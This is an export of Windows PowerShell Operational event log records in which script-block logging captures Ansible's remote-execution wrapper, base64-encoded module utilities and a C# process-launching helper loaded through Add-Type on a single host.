maWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0gQCgkdmFsdWUpCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICJHZXQtQW5zaWJsZVBhcmFtOiBQYXJhbWV0ZXIgJyRuYW1lJyBpcyBub3QgYSBZQU1MIGxpc3QuIgogICAgICAgICAgICB9CiAgICAgICAgICAgICM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1bGFyIERlcGVuZGVuY3k6IFRoZSBzZXJ2aWNlIGhhcyBjaXJjdWxhciBkZXBlbmRlbmNpZXMgd2hlbiBpdCBzdGFydHMiIH0KICAgICAgICAxOSB7ICJTdGF0dXMgRHVwbGljYXRlIE5hbWU6IEEgc2VydmljZSBpcyBydW5uaW5nIHVuZGVyIHRoZSBzYW1lIG5hbWUiIH0KICAgICAgICAyMCB7ICJTdGF0dXMgSW52YWxpZCBOYW1lOiBUaGUgc2VydmljZSBuYW1lIGhhcyBpbnZhbGlkIGNoYXJhY3RlcnMiIH0KICAgICAgICAyMSB7ICJTdGF0dXMgSW52YWxpZCBQYXJhbWV0ZXI6IEludmFsaWQgcGFyYW1ldGVycyBoYXZlIGJlZW4gcGFzc2VkIHRvIHRoZSBzZXJ2aWNlIiB9CiAgICAgICAgMjIgeyAiU3RhdHVzIEludmFsaWQgU2VydmljZSBBY2NvdW50OiBUaGUgYWNjb3VudCB1bmRlciB3aGljaCB0aGlzIHNlcnZpY2UgcnVucyBpcyBlaXRoZXIgaW52YWxpZCBvciBsYWNrcyB0aGUgcGVybWlzc2lvbnMgdG8gcnVuIHRoZSBzZXJ2aWNlIiB9CiAgICAgICAgMjMgeyAiU3RhdHVzIFNlcnZpY2UgRXhpc3RzOiBUaGUgc2VydmljZSBleGlzdH
ScriptBlock ID: 5cf7e6fa-a682-4f7d-b297-bb64b7433f85
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2054 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2724 | 2024 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:17 AM | 61e00a24-ee3b-0003-ff0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYWQgb2YgZmFpbGluZy0gbG90cyBvZiBzY3JpcHRzIHVzZSBpdAogICAgJHBzLkFkZFN0YXRlbWVudCgpLkFkZFNjcmlwdCgiRnVuY3Rpb24gV3J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WpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.SID": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCkZ1bmN0aW9uIENvbnZlcnQtRnJvbVNJRCgkc2lkKSB7CiAgICAjIENvbnZlcnRzIGEgU0lEIHRvIGEgRG93bi1MZXZlbCBMb2dvbiBuYW1lIGluIHRoZSBmb3JtIG9mIERPTUFJTlxVc2VyTmFtZQogICAgIyBJZiB0aGUgU0lEIGlzIGZvciBhIGxvY2FsIHVzZXIgb3IgZ3JvdXAgdGhlbiBET01BSU4gd291bGQgYmUgdGhlIHNlcnZlcgogICAgIyBuYW1lLgoKICAgICRhY2NvdW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ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHZhbHVlID0gJG9iai4kbmFtZQogICAgICAgIH0KICAgIH0gY2F0Y2ggewogICAgICAgIGlmICgkZmFpbGlmZW1wdHkgLWVxICRmYWxzZSkgewogICAgICAgICAgICAkdmFsdWUgPSAkZGVmYXVsdAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgtbm90ICRlbXB0eWF0dHJpYnV0ZWZhaWxtZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAkZW1wdHlhdHRyaWJ1dGVmYWlsbWVzc2FnZSA9ICJHZXQtQW5zaWJsZVBhcmFtOiBNaXNzaW5nIHJlcXVpcmVkIGFyZ3VtZW50OiAkbmFtZSIKICAgICAgICAgICAgfQogICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRlbXB0eWF0dHJpYnV0ZWZhaWxtZXNzYWdlCiAgICAgICAgfQogICAgfQoKICAgICMgSWYgJHZhbHVlIC1lcSAkbnVsbCwgdGhlIHBhcmFtZXRlciB3YXMgdW5zcGVjaWZpZWQgYnkgdGhlIHVzZXIgKGRlbGliZXJhdGVseSBvciBub3QpCiAgICAjIFBsZWFzZSBsZWF2ZSAkbnVsbC12YWx1ZXMgaW50YWN0LCBtb2R1bGVzIG5lZWQgdG8ga25vdyBpZiBhIHBhcmFtZXRlciB3
ScriptBlock ID: 5cf7e6fa-a682-4f7d-b297-bb64b7433f85
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2053 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2724 | 2024 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:17 AM | 61e00a24-ee3b-0003-ff0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2052 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2724 | 3180 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:17 AM | 61e00a24-ee3b-0003-fd0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 2724 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2051 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2724 | 3380 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:17 AM | 61e00a24-ee3b-0003-fd0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2050 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2724 | 3180 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:17 AM | 61e00a24-ee3b-0003-fd0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2049 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3244 | 4216 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:13 AM | 61e00a24-ee3b-0003-e10a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 3244 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2048 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3244 | 3280 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:12 AM | 61e00a24-ee3b-0003-e10a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2047 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3244 | 4216 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:12 AM | 61e00a24-ee3b-0003-e10a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = 4d16cf51-86f2-4e1b-8042-4d5ebcedb210
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 7c2696da-6219-4131-b2de-e124c582d6d8
Pipeline ID = 7
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 2046 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4268 | 3176 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:12 AM | 61e00a24-ee3b-0002-100b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
$process_util = @"
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
